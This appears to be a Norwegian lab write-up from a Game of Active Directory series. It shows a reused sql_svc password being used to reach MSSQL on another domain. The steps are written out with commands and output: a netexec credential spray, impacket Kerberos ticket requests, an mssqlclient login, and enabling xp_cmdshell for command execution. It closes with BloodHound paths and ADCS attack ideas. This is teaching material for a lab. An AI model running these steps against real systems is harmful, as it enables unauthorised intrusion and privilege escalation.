I dette tilfellet ønsker jeg først og fremst å poengtere hvor alvorlig det er med gjenbruk av passord, så fokus faller på kompromittering via et gjenbrukt passord vi fant tidligere.
Det viser seg at sql_svc kontopassordet vi fant i mssql konfigurasjonsfilene på castelblack i north.sevenkingdoms.local også har blitt brukt på konto med samme navn, som kjører mssql på braavos.essos.local
Dette ser vi dersom vi scanner etter mssql tjenester på nettverket med kjent brukernavn og passord, ved hjelp av verktøyet netexec:
$netexecmssql10.3.2.10-30-usql_svc-p"YouWillNotKerboroast1ngMeeeeee"MSSQL10.3.2.221433CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)MSSQL10.3.2.231433BRAAVOS [*] Windows 10 / Server 2016 Build 14393 (name:BRAAVOS)(domain:essos.local)MSSQL10.3.2.221433CASTELBLACK [+] north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)MSSQL10.3.2.231433BRAAVOS [+] essos.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)Runningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Vi bekrefter at vi kan få logget oss på mssql tjeneren med sql_svc og “YouWillNotKerboroast1ngMeeeeee” ved å først etterspørre en Kerberos Ticket-Granting-Ticket fra Kerberos Key Distribution Center i Essos.local, så peker vi KRB5CCNAME mot TGTen.
$impacket-getTGTessos.local/sql_svc:YouWillNotKerboroast1ngMeeeeeeImpacketv0.13.0.dev0-CopyrightFortra,LLCanditsaffiliatedcompanies[*] Saving ticket in sql_svc.ccache$exportKRB5CCNAME=/home/kali/Documents/goad-lab/sql_svc.ccache
Deretter kobler vi oss på braavos.essos.local sin mssqltjeneste med impacket-mssqlclient og spesifiserer at vi skal bruke kerberosbilletten vår for å skaffe oss tilgang.
$impacket-mssqlclient-k-no-passbraavos.essos.localImpacketv0.13.0.dev0-CopyrightFortra,LLCanditsaffiliatedcompanies[*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(BRAAVOS\SQLEXPRESS): Line 1: Changed database context to 'master'.[*] INFO(BRAAVOS\SQLEXPRESS): Line 1: Changed language setting to us_english.[*] ACK: Result: 1 - Microsoft SQL Server (1507208)[!] Press help for extra shell commandsSQL (ESSOS\sql_svc dbo@master)>?lcd{path}-changesthecurrentlocaldirectoryto{path}exit-terminatestheserverprocess (and thissession)enable_xp_cmdshell-youknowwhatitmeansdisable_xp_cmdshell-youknowwhatitmeansenum_db-enumdatabasesenum_links-enumlinkedserversenum_impersonate-checkloginsthatcanbeimpersonatedenum_logins-enumloginusersenum_users-enumcurrentdbusersenum_owner-enumdbownerexec_as_user{user}-impersonatewithexecuteasuserexec_as_login{login}-impersonatewithexecuteasloginxp_cmdshell{cmd}-executescmdusingxp_cmdshellxp_dirtree{path}-executesxp_dirtreeonthepathsp_start_job{cmd}-executescmdusingthesqlserveragent (blind)use_link{link}-linkedservertouse (set use_linklocalhosttogobacktolocaloruse_link..togetbackonestep)!{cmd}-executesalocalshellcmdupload{from}{to}-uploadsfile{from}totheSQLServerhost{to}show_query-showquerymask_query-maskquery
Vi er nå inne på microsoft SQL tjenesten på braavos.essos.local som sql_svc brukeren.
Det første vi ønsker å gjøre er å sørge for at xp_cmdshell er påslått.
SQL (ESSOS\sql_svc dbo@master)> enable_xp_cmdshellINFO(BRAAVOS\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.INFO(BRAAVOS\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
Vi kan nå kjøre cmd.exe kommandoer på braavos via mssql tjeneren.
Hvorfor tok jeg meg bryet med å scanne med sharphound og å mate inn data i bloodhound hvis ikke det skal brukes? Vel, fordi jeg bestemte meg for å gå for en mer banal angrepsbane halvveis gjennom. Jeg hadde først tenkt å demonstrere angrepsvektorer som har mer med domain trust, foreign security principals etc å gjøre – men endte med å gå for noe så simpelt som passordmisbruk.
For å ikke la disse dataene gå til spille kan vi se litt på hva Bloodhound kan foreslå for veien videre.
Bloodhound viser svakheter vi kan utnytte for å ta oss gjennom essos.local helt til enterprise admin.
Vi merker sql_svc som kompromittert, og søker raskeste veiene til Enterprise Administrator i Essos.local.
SQL_SVC er medlem av Domain Users, som kan utnytte ADCSESC1 sårbarheten til å ta over hele essos.local, som gir oss kontroll over Administrators gruppen, som gir oss rettighet til å legge oss selv inn i Enterprise Admins.
SQL_SVC er også SQLAdmin på braavos.essos.local som vi har sett, og har fått et shell på den serveren. Denne serveren er satt opp som sertifikatserver for essos.local, og vi kan dermed utføre et “Golden Certificate” angrep for å ta kontroll over essos.local, og dermed igjen gjøre oss selv til eiere av hele Essos.Local
Bloodhound er ett av verktøyene jeg bruker jevnlig for å kartlegge sårbarheter, og her kan vi se et eksempel fra denne Game of Active Directory labben hva som kommer opp når jeg leter etter “shortest path to tier zero / domain admin”.
Bloodhound graph: Shortest path to t0/domain admin
Refleksjoner
Vi ser hvordan svake konfigurasjoner kan kompromittere ikke bare en hel AD forest, men i mange tilfeller kan vi også krysse til andre AD Forests via forskjellige angrepsbaner – av og til så banale ting som gjenbrukte passord, selv når passordet er sterkt i utgangspunktet hjelper det svært lite når passordet er på avveie.
Det er også verdt å merke seg at i Active Directory så saltes ikke passordene når de lagres i databasen, slik at samme passord vil resultere i samme hash uansett hvilket AD du befinner deg i, i verden. Det gjør at lister med millioner av kjente passord:hash kombinasjoner florerer på nettet, og som vi også har sett kan vi ofte angripe med pass-the-hash angrep uansett, så det er ikke alltid nødvendig å cracke passordet så lenge man har fanget opp hashen i et miljø med mangelfull SMB Signering.
I neste post skal vi se på hvordan vi kan misbruke feilkonfigurasjoner i Active Directory Certificate Services for å kompromittere hele essos.local.